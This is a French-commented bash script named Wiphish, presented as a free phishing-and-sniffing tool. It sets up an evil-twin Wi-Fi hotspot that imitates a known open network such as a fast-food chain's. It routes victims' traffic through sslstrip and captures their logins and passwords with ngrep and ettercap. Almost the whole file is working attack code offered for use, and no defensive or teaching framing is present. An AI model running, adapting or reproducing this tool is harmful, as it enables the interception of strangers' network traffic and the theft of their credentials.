#!/bin/bash
#Version 0.45




##########################################################################################################
##########################################################################################################
############################# Republic Of Griefers Open Cartel since 2010 ################################
##########################################################################################################
##########################################################################################################
##	Wiphish est un outil aliant PHISHING et SNIFFING						##
##  Il est entierement LIBRE (copiable, modifiable, distribuable(gratuitement).				##
##  Si vous le modifier ou ajouter des option, merci de me les faire parvenir par mail.			##
##  Demême si vous desirez des options ou modifications	merci de m'en faire part par mail.		##
##  Pour mes autres scripts et tutoriels, merci de vous rendre sur mon site web.			##
##  				http://www.open-cartel.org						##
##  Partie PHISHING: 											##
##	Wiphish va configurer et activer un hotspot wifi sur votre machine afin que les cibles puissent	##
##		se conectées.										##
##  Partie SNIFFING:											##
##	Une foie le hotspot crée et activer, Wiphish active les services de reniflage reseaux afin de	##
##		pouvoir récupérer les logins/mots de pass et toutes infos transitant sur le hotspot.	##
##													##
############################################### À ajouter: ###############################################
##	Fonction config (sauvegarde et chargements)							##
##													##
##													##
##													##
##													##
##													##
############################################# Contributeur(s): ###########################################
##													##
##	@zer	azer@open-cartel.org									##
##													##
##													##
##													##
##########################################################################################################
##########################################################################################################
############################# Republic Of Griefers Open Cartel since 2010 ################################
##########################################################################################################
##########################################################################################################


######################################################################################################
################################	Debut des fonction	######################################
######################################################################################################



# Verifie que l'on lance le script en root
fonction_Root-Check()
	{
		echo "Verification de l'utilisateur..."
		if [[ $EUID -ne 0 ]]; then
  			echo "You must be a root user" 2>&1
  			exit 1
		else
  			fonction_Dependences
		fi
	}

# Verifie et installe si besoin les dépendences utile à Wiphish
fonction_Dependences()
	{
		echo "Vérification des dépendances et installation si nécessaire..."
		apt-get install -y isc-dhcp-server sslstrip usbutils ettercap-text-only ngrep driftnet

		fonction_Initialisation
	}

# Initialise le Script et lance la configuration
fonction_Initialisation()
	{	
		sleep 2
		clear	
		clear
		echo "Veuillez selectioner l'interface résaux qui devrat emettre le resaux wifi"
		echo "(Devrait etre wlan0 ou wlan0)"
		echo $(ls /sys/class/net | grep w)
		read rep
		in_interface=$rep

		echo "Veuillez selectioner l'interface résaux qui est conecter a internet"
		echo $(ip route | grep default | sed -e "s/^.*dev.//" -e "s/.proto.*//")
		echo $(ls /sys/class/net | grep e)
		read rep
		out_interface=$rep
		
		at_interface=at0

		echo 'Veuillez entrer le nom de resaux que vous voulez emettre'
		echo '(googlewifi freewifi mcdonalds, un nom de resaux ouvert connue prés du hotspot)'
		read rep		
		network_name=$rep

		fonction_Dhcpd
	}

# Configure pour la création du hotspot
fonction_Dhcpd()
	{	
		sleep 2
		clear
		echo "Configuration de dhcpd..."
		echo "authoritative;" > dhcpd.conf
		echo "default-lease-time 600;" >> dhcpd.conf
		echo "max-lease-time 7200;" >> dhcpd.conf
		echo "subnet 192.168.2.0 netmask 255.255.255.0 {" >> dhcpd.conf
		echo "option routers 192.168.2.1;" >> dhcpd.conf
		echo "option subnet-mask 255.255.255.0;" >> dhcpd.conf
		echo "option domain-name \"$network_name\";" >> dhcpd.conf
		echo "option domain-name-servers 192.168.2.1;" >> dhcpd.conf
		echo "range 192.168.2.2 192.168.2.40;" >> dhcpd.conf
		echo "}" >> dhcpd.conf
		cp dhcpd.conf /etc/dhcpd.conf
		rm dhcpd.conf

		fonction_Desactivation-Wifi
	}

# Désactivation des services resaux
fonction_Desactivation-Wifi()
	{	
		sleep 2
		clear
		echo "Désactivation des services résaux..."
		killall dhclient
		killall wpa_supplicant
		killall NetworkManager

		fonction_Activation-Aircrack
	}

# Activation et monitoring du hotspot
fonction_Activation-Aircrack()
	{	
		sleep 2
		clear
		echo "Démarage des services aircrack..."
		airmon-ng start $in_interface
		xfce4-terminal -e "sh -ic \"airbase-ng -c 8 -e $network_name \"$in_interface\"mon\""

		fonction_Config-Routeur
	}

# Redirige le trafic entrant vert l'interface réseaux sortante
fonction_Config-Routeur()
	{	
		sleep 2
		clear
		echo "Configuration du routeur..."
		ifconfig $at_interface 192.168.2.1 netmask 255.255.255.0
		ifconfig $at_interface mtu 1400
		route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
		echo 1 > /proc/sys/net/ipv4/ip_forward
		iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
		iptables -P FORWARD ACCEPT
		iptables --append FORWARD --in-interface $at_interface -j ACCEPT
		iptables --table nat --append POSTROUTING --out-interface $out_interface -j MASQUERADE
		iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
		dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid $at_interface
		/etc/init.d/isc-dhcp-server start

		fonction_Malicious
	}

# Active les foncions malveillantes (sniffing)
fonction_Malicious()
	{	
		sleep 2
		clear
		echo "Démarage des fonctions malveillantes..."
		xfce4-terminal -e ngrep  -q -W byline -d $at_interface -i “pass|USER|password|login” port 80
		xfce4-terminal -e ngrep -q -W byline -d $at_interface "GET|POST HTTP"
		xfce4-terminal -e 'sh -ic "sslstrip -f -p -k 10000"'
		ettercap -p -u -T -q -i $at_interface
	}


######################################################################################################
################################	Fin des fonction	######################################
######################################################################################################

######################################################################################################
################################	 Debut du script	######################################
######################################################################################################

fonction_Root-Check


